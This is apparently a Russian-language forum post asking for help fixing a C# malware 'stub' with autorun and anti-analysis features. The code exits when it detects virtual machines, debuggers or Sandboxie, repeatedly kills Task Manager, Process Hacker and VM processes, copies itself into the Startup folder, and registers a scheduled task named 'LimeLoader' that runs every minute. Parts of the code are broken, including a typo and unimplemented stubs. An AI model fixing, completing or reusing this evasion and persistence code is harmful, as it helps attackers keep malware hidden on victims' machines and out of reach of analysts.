Делаю небольшую заготовку с автозагрузкой и антианализом.
Помогите код в порядок привести, не работает не хрена.
Помогите код в порядок привести, не работает не хрена.
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading;
using System.Diagnostics;
using System.Management;
using System.Runtime.InteropServices;
namespace ConsoleApp3
{
class Program
{
static void Main(string[] args)
{
new Thread(() =>
{
RunAntiAnalysis();
}).Start();
Console.WriteLine($"VirtualMachine = {DetectVirtualMachine()}");
Console.WriteLine($"Debugger = {DetectDebugger()}");
Console.WriteLine($"Sandboxie = {DetectSandboxie()}");
Console.ReadKey();
try
{
String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
}
catch (Exception ex)
{ }
AddToSchtasks();
}
private void InitializeComponent()
{
throw new NotImplementedException();
}
private static void atch(Exception exception, object ex)
{
throw new NotImplementedException();
}
private static void AddToSchtasks()
{
string PS = @".\%AppData%\update.exe";
Process.Start(new ProcessStartInfo()
{
FileName = "schtasks",
Arguments = "/create /sc minute /mo 1 /tn LimeLoader /tr " + "\"" + PS + "\"",
CreateNoWindow = true,
ErrorDialog = false,
WindowStyle = ProcessWindowStyle.Hidden
});
}
public static void RunAntiAnalysis()
{
if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
Environment.FailFast(null);
while (true)
{
DetectProcess();
Thread.Sleep(10);
}
}
private static bool DetectVirtualMachine()
{
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
using (var items = searcher.Get())
{
foreach (var item in items)
{
string manufacturer = item["Manufacturer"].ToString().ToLower();
if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
|| manufacturer.Contains("vmware")
|| item["Model"].ToString() == "VirtualBox")
{
return true;
}
}
}
}
return false;
}
private static bool DetectDebugger()
{
bool isDebuggerPresent = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
}
private static bool DetectSandboxie()
{
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true;
else
return false;
}
rivate static void DetectProcess()
{
foreach (Process process in Process.GetProcesses())
{
try
{
if (ProcessName.Contains(process.ProcessName))
process.Kill();
}
catch { }
}
}
private readonly static List<string> ProcessName = new List<string> { "ProcessHacker", "taskmgr", "vmware", "VirtualBox" };
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
}
}